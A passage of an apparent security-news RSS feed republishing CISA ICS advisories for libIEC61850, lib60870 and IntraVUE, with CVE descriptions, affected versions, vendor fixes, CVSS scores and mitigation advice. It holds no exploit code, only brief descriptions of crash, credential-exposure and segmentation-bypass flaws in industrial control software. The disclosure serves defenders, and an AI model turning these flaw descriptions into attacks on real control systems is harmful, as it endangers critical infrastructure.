<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50103</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the L2 GOOSE and R-GOOSE shared parser, which may allow a network-adjacent attacker to crash a subscribing application by sending a crafted GOOSE frame containing a malformed TLV value.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50103">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/228.html">CWE-228 Improper Handling of Syntactically Invalid Structure</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.5</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.1</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:A/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50032</a></h3>
<div class="csaf-accordion-content">
<p>A NULL pointer dereference in the MMS Write Named Variable List handler, which may allow a network adjacent attacker to crash the server by sending a WriteRequest with an empty listOfData field.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50032">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation libIEC61850</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation libIEC61850: &gt;=v1.0.0|&lt;=v1.6.1</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ Automation recommends updating to the latest build of the libIEC61850 standard. Documentation can be found at https://github.com/mz-automation/libiec61850.<br><a href="https://github.com/mz-automation/libiec61850">https://github.com/mz-automation/libiec61850</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/476.html">CWE-476 NULL Pointer Dereference</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Abhinav Agarwal reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting these vulnerabilities has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[MZ Automation lib60870]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.
The following versions of MZ Automation lib60870 are affected:

lib60870]]></description>
<link>https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689939/it-security-nachrichten/mz-automation-lib60870/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:52 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-07.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of this vulnerability could cause the parsing process to crash, which will cause a denial of service.</strong></p>
<p>The following versions of MZ Automation lib60870 are affected:</p>
<ul>
<li>lib60870 &lt;=2.4.0</li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 8.2</td>
<td>MZ Automation</td>
<td>MZ Automation lib60870</td>
<td>Out-of-bounds Read</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Chemical, Energy, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Germany</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-16002</a></h3>
<div class="csaf-accordion-content">
<p>The affected product is vulnerable to an Out-of-bounds read, which may allow an attacker to crash the parsing process and cause a denial of service.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-16002">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>MZ Automation lib60870</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>MZ Automation</div>
<div class="ics-version"><strong>Product Version:</strong><br>MZ Automation lib60870: &lt;=2.4.0</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>MZ automation recommends users update to version 2.4.1 or later. Documentation can be found at https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv.<br><a href="https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv">https://github.com/mz-automation/lib60870/security/advisories/GHSA-f5xp-w6f3-vvrv</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/125.html">CWE-125 Out-of-bounds Read</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.2</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.8</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:H/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Lars Tray reported this vulnerability to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of this (these) vulnerability(ies).</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
<p>Organizations observing suspected malicious activity should follow established internal procedures and report findings to CISA for tracking and correlation against other incidents.</p>
<p>CISA also recommends users take the following measures to protect themselves from social engineering attacks:</p>
<p>Do not click web links or open attachments in unsolicited email messages.</p>
<p>Refer to Recognizing and Avoiding Email Scams for more information on avoiding email scams.</p>
<p>Refer to Avoiding Social Engineering and Phishing Attacks for more information on social engineering attacks.</p>
<p>No known public exploitation specifically targeting this vulnerability has been reported to CISA at this time.</p>
<hr>
<h2>Revision History</h2>
<ul>
<li><strong>Initial Release Date: </strong>2026-07-23</li>
</ul>
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">Date</th>
<th role="columnheader">Revision</th>
<th role="columnheader">Summary</th>
</tr>
</thead>
<tbody>
<tr>
<td>2026-07-23</td>
<td>1</td>
<td>Initial Publication</td>
</tr>
</tbody>
</table>
<hr>
<h2>Legal Notice and Terms of Use</h2>]]></content:encoded>
</item>
<item>
<title><![CDATA[Panduit IntraVUE]]></title>
<description><![CDATA[View CSAF
Summary
Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.
The following versions of Panduit IntraVUE are a...]]></description>
<link>https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3689938/it-security-nachrichten/panduit-intravue/</guid>
<pubDate>Thu, 23 Jul 2026 20:16:33 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p><a href="https://github.com/cisagov/CSAF/blob/develop/csaf_files/OT/white/2026/icsa-26-204-04.json"><strong>View CSAF</strong></a></p>
<h2>Summary</h2>
<p><strong>Successful exploitation of these vulnerabilities could allow an attacker with access to the IT network to manipulate industrial control devices without requiring physical access, specialized insider knowledge, or advanced tooling.</strong></p>
<p>The following versions of Panduit IntraVUE are affected:</p>
<ul>
<li>IntraVUE &lt;=3.2.1a14 </li>
</ul>
<div class="csaf-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS</th>
<th role="columnheader">Vendor</th>
<th role="columnheader">Equipment</th>
<th role="columnheader">Vulnerabilities</th>
</tr>
</thead>
<tbody>
<tr>
<td>v3 10</td>
<td>Pronetiqs</td>
<td>Panduit IntraVUE</td>
<td>Plaintext Storage of a Password, Unintended Proxy or Intermediary ('Confused Deputy'), Exposure of Sensitive System Information to an Unauthorized Control Sphere, Inadequate Encryption Strength</td>
</tr>
</tbody>
</table>
</div>
<h3>Background</h3>
<ul>
<li><strong>Critical Infrastructure Sectors: </strong>Critical Manufacturing, Energy, Information Technology, Water and Wastewater</li>
<li><strong>Countries/Areas Deployed: </strong>Worldwide</li>
<li><strong>Company Headquarters Location: </strong>Netherlands</li>
</ul>
<hr>
<h2>Vulnerabilities</h2>
<div class="csaf-accordion">
<p><a class="csaf-accordion-toggle-all" href="https://www.cisa.gov/#">Expand All +</a></p>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-40430</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE Versions 3.2.1a14 and prior have a plaintext storage of a password vulnerability that could expose cleartext credentials through the API.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-40430">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/256.html">CWE-256 Plaintext Storage of a Password</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>7.5</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>8.7</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-42933</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an unintended proxy or intermediary vulnerability which could allow an attacker to use an active proxy, which would bypass OT segmentation.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-42933">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/441.html">CWE-441 Unintended Proxy or Intermediary ('Confused Deputy')</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H</a></td>
</tr>
<tr>
<td>4.0</td>
<td>10</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-44955</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could allow for asset discovery by unauthenticated users.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-44955">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>5.3</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>6.9</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-50044</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an inadequate encryption strength vulnerability which could allow an attacker to steal admin credentials via weak hash or a pass-the-hash attack.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-50044">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/326.html">CWE-326 Inadequate Encryption Strength</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>6.8</td>
<td>MEDIUM</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N">CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:U/C:H/I:H/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>7.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N">CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
<div class="csaf-accordion-item">
<h3><a class="csaf-accordion-toggle" href="https://www.cisa.gov/#">CVE-2026-28698</a></h3>
<div class="csaf-accordion-content">
<p>Pronetiqs IntraVUE versions 3.2.1a14 and prior have an exposure of sensitive system information to an unauthorized control sphere vulnerability which could expose the underlying host/share filesystem.</p>
<p><a href="https://www.cve.org/CVERecord?id=CVE-2026-28698">View CVE Details</a></p>
<hr>
<h4>Affected Products</h4>
<h5>Panduit IntraVUE</h5>
<div class="ics-vendor-version-status">
<div class="ics-vendor"><strong>Vendor:</strong><br>Pronetiqs</div>
<div class="ics-version"><strong>Product Version:</strong><br>Pronetiqs IntraVUE: &lt;=3.2.1a14</div>
<div class="ics-status"><strong>Product Status:</strong><br>known_affected</div>
</div>
<div class="ics-remediations">
<h6>Remediations</h6>
<p><strong>Vendor fix</strong><br>Pronetiqs advises users to update to the latest version of the IntraVUE software, version 3.2.1a16 or later.</p>
<p><strong>Mitigation</strong><br>For further questions, please contact Pronetiqs at info@pronetiqs.com.<br><a href="mailto:info@pronetiqs.com">mailto:info@pronetiqs.com</a></p>
</div>
<p><strong>Relevant CWE:</strong> <a href="https://cwe.mitre.org/data/definitions/497.html">CWE-497 Exposure of Sensitive System Information to an Unauthorized Control Sphere</a></p>
<hr>
<h4>Metrics</h4>
<div class="csaf-table csaf-metrics-table">
<table class="tablesaw tablesaw-stack" data-tablesaw-mode="stack" data-tablesaw-minimap>
<thead>
<tr>
<th role="columnheader" data-tablesaw-priority="persist">CVSS Version</th>
<th role="columnheader">Base Score</th>
<th role="columnheader">Base Severity</th>
<th role="columnheader">Vector String</th>
</tr>
</thead>
<tbody>
<tr>
<td>3.1</td>
<td>8.6</td>
<td>HIGH</td>
<td><a href="https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N">CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N</a></td>
</tr>
<tr>
<td>4.0</td>
<td>9.2</td>
<td>CRITICAL</td>
<td><a href="https://www.first.org/cvss/calculator/4.0#CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N">CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:N/VA:N/SC:H/SI:N/SA:N</a></td>
</tr>
</tbody>
</table>
</div>
</div>
</div>
</div>
<hr>
<h2>Acknowledgments</h2>
<ul>
<li>Phlebas of Lumintel reported these vulnerabilities to CISA</li>
</ul>
<hr>
<h2>Legal Notice and Terms of Use</h2>
<p>This product is provided subject to this Notification (https://www.cisa.gov/notification) and this Privacy &amp; Use policy (https://www.cisa.gov/privacy-policy).</p>
<hr>
<h2>Recommended Practices</h2>
<p>CISA recommends users take defensive measures to minimize the risk of exploitation of these vulnerabilities.</p>
<p>Minimize network exposure for all control system devices and/or systems, ensuring they are not accessible from the Internet.</p>
<p>Locate control system networks and remote devices behind firewalls and isolating them from business networks.</p>
<p>When remote access is required, use more secure methods, such as Virtual Private Networks (VPNs), recognizing VPNs may have vulnerabilities and should be updated to the most current version available. Also recognize VPN is only as secure as the connected devices.</p>
<p>CISA reminds organizations to perform proper impact analysis and risk assessment prior to deploying defensive measures.</p>
<p>CISA also provides a section for control systems security recommended practices on the ICS webpage on cisa.gov/ics. Several CISA products detailing cyber defense best practices are available for reading and download, including Improving Industrial Control Systems Cybersecurity with Defense-in-Depth Strategies.</p>
<p>CISA encourages organizations to implement recommended cybersecurity strategies for proactive defense of ICS assets.</p>
<p>Additional mitigation guidance and recommended practices are publicly available on the ICS webpage at cisa.gov/ics in the technical information paper, ICS-TIP-12-146-01B--Targeted Cyber Intrusion Detection and Mitigation Strategies.</p>
